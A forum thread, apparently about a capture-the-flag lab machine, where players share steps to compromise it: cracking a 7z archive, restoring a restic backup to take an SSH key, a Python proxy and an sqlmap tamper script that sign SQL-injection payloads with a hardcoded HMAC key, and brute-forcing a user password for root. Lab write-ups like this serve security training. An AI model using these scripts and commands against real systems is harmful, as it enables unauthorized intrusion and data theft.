[hellme]

so basically this is the neo pass  using this you can achieve root with ```sudo su``` after you log into ssh

i dont know how te get the password of neo i m stile analyzing  /opt/neo-password-generator/neo-password-generator

[aryphowake]

just analyze the binary, reverse it and take a close look at the sql table with the command logs earlier.

[ikbenwieikben]

---

Okay so I got the file bob.7z. But I am failing retrieving the password for it. Made a pass generator once got a "successful" password that gave an error wrong password. Can someone help with that?

7z2john and then john to crack.

---

I'm stuck with `neo-password-generator`, i don't understand what i need to do here for get neo password.

I have the neo pub.key but I can't find the password generator. Where to find it?

[relentless96]

---

Okay so I got the file bob.7z. But I am failing retrieving the password for it. Made a pass generator once got a "successful" password that gave an error wrong password. Can someone help with that?

7z2john and then john to crack.

---

I'm stuck with `neo-password-generator`, i don't understand what i need to do here for get neo password.

I have the neo pub.key but I can't find the password generator. Where to find it?

You can find it on /opt bro

[ikbenwieikben]

---

Okay so I got the file bob.7z. But I am failing retrieving the password for it. Made a pass generator once got a "successful" password that gave an error wrong password. Can someone help with that?

7z2john and then john to crack.

---

I'm stuck with `neo-password-generator`, i don't understand what i need to do here for get neo password.

I have the neo pub.key but I can't find the password generator. Where to find it?

You can find it on /opt bro

@ssh bob no /opt dir. restic download to loacal machine no /opt dir on the system... please explain exactly where I can find it. just for sanity. :-)

---

I am working on the sucrack part with my passwd file hoping to get the priv esc to work. still don't know where you guys found the passgen binary...

---

I a did not mean neo but morpheus ssh and pub key. I only have bob@ssh @ port 2222 as access.

---

Never mind the box is unstable, now I can log in with the id_rsa to morpheus@whiterabbit... pff sometimes. but got user.

[popsmokes]

7z File Password
If you're still having problems with the 7z file, it is possible to use https://github.com/philsmd/7z2hashcat to retrieve the hash of the password and then use hashcat to crack it.
Make sure to format it correctly with (user:hash) and run it with

hashcat -m 11600 hash.txt -w [wordlist here] --user

.

From here, the path to ssh is quite clear for user bob. Make sure to use the correct port.

neo-password-generator
Here is where I am currently stuck.

Analyzing the binary gave me two attack vectors; either calling the binary with the correct timestamp or replicating the code and messing around with it manually.
I have tried both approaches without luck.

Currently chugging through a wordlist containing 1000+ permutations of passwords for the target user (neo). However, either the machine is unstable or my compiled binary of sucrack is unstable - either way it sometimes just halts processing. Thankful for any and all tips.

[aryphowake]

calling the binary will not work because you can not manipulate the time using milliseconds (which is needed). you have to reverse the algorythm and write your own generator that produces 1000 entries. then bruteforce ssh.

[yolooo]

Once you dump the correct database, you'll be able to see some restic credentials, what you can do is to restore the data in order to exfiltrate bob's ssh private key:

❯ echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd

❯ chmod 600 .restic_passwd

❯ export RESTIC_REPOSITORY="rest:http://75951e6ff.whiterabbit.htb"

❯ export RESTIC_PASSWORD_FILE=".restic_passwd"

❯ restic snapshots
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /home/redacted/.cache/restic
ID        Time                Host        Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-06 19:18:40  whiterabbit            [color=#4cea5e]/dev/shm/bob/ssh[/color]
------------------------------------------------------------------------
1 snapshots

❯ restic restore latest --target ./restored_data

---

For the SQL Injection:
Every time you wanna send a request to the webhook, you'll need first to calculate the signature header, otherwise, the request wil be invalid.
I've created a python proxy to send all sqlmap tool requests through this proxy, so the proxy will calculate the payload's signature and them forward the request to the webhook:

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
import requests
import hmac
import hashlib
# Configuration
TARGET_HOST = "28efa8f7df.whiterabbit.htb"
TARGET_URL = f"http://{TARGET_HOST}"
HMAC_KEY = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
class GoPhishProxy(BaseHTTPRequestHandler):
    def do_POST(self):
        # Read the request body
        content_len = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(content_len)
        # Clean the path from possible full URLs or malformed inputs
        clean_path = urlparse(self.path).path
        full_url = f"{TARGET_URL}{clean_path}"
        # Calculate HMAC-SHA256 signature
        signature = hmac.new(HMAC_KEY, body, hashlib.sha256).hexdigest()
        # Prepare headers for forwarding
        forward_headers = {key: self.headers[key] for key in self.headers if key.lower() != 'host'}
        forward_headers['Host'] = TARGET_HOST
        forward_headers['x-gophish-signature'] = f"sha256={signature}"
        # Forward the request to the actual server
        try:
            response = requests.post(
                full_url,
                headers=forward_headers,
                data=body,
                allow_redirects=False,
                verify=False
            )
        except Exception as e:
            self.send_error(502, f"Proxy forwarding failed: {str(e)}")
            return
        # Respond back to sqlmap
        self.send_response(response.status_code)
        for k, v in response.headers.items():
            if k.lower() != 'content-encoding':
                self.send_header(k, v)
        self.end_headers()
        self.wfile.write(response.content)
        # Debug log
        print(f"[+] Forwarded to: {full_url}")
        print(f"    Signature: sha256={signature}")
        print(f"    Payload: {body.decode(errors='ignore')[:200]}")
if __name__ == "__main__":
    print("
GoPhish SQLmap Proxy running on http://127.0.0.1:8000")
    server = HTTPServer(('0.0.0.0', 8000), GoPhishProxy)
    server.serve_forever()

While the proxy is up and running, on another terminal, you can run SQLmap:

sqlmap -r sqlmap.req --proxy=http://127.0.0.1:8000 --batch --level=5 --risk=3 --threads=5

The sqlmap.req file content I used was:

POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
Content-Type: application/json
User-Agent: sqlmap
Accept: */*
{"campaign_id":1,"email":"*","message":"Clicked Link"}

Is important to leave the request file without the x-gophish-signature header because the proxy will be adding that automatically

Very nice. But how to get the value of HMAC_KEY? Can anyone give me some hints?
Note: I found it in JSON file. Thanks for providing the script.

[hekticongod]

Okay so I got the file bob.7z. But I am failing retrieving the password for it. Made a pass generator once got a "successful" password that gave an error wrong password. Can someone help with that?

you got to generate a hash from bob.7z and then use john to crack the hash

[Ribbons]

Another way to exploit the SQLi

sqlmap tamper:

import hmac
import hashlib

secret_key = b'3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'

def tamper(payload, **kwargs):
    escaped_payload = payload.replace('"', '\\"')
    message = f'{{"campaign_id":1,"email":"{escaped_payload}","message":"Clicked Link"}}'.encode('utf-8')

    hmac_object = hmac.new(secret_key, message, hashlib.sha256)
    hmac_result = hmac_object.hexdigest()
    hmac_payload = "sha256="+hmac_result

    headers = kwargs.get("headers", {})
    headers["x-gophish-signature"] = hmac_payload

    return payload

sqlmap command:

sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' -H "Content-Type: application/json" --risk 3 --level 5 --tamper=hmac_tamper.py --dump-all -D temp --batch --threads=5 --time-sec=3 --no-escape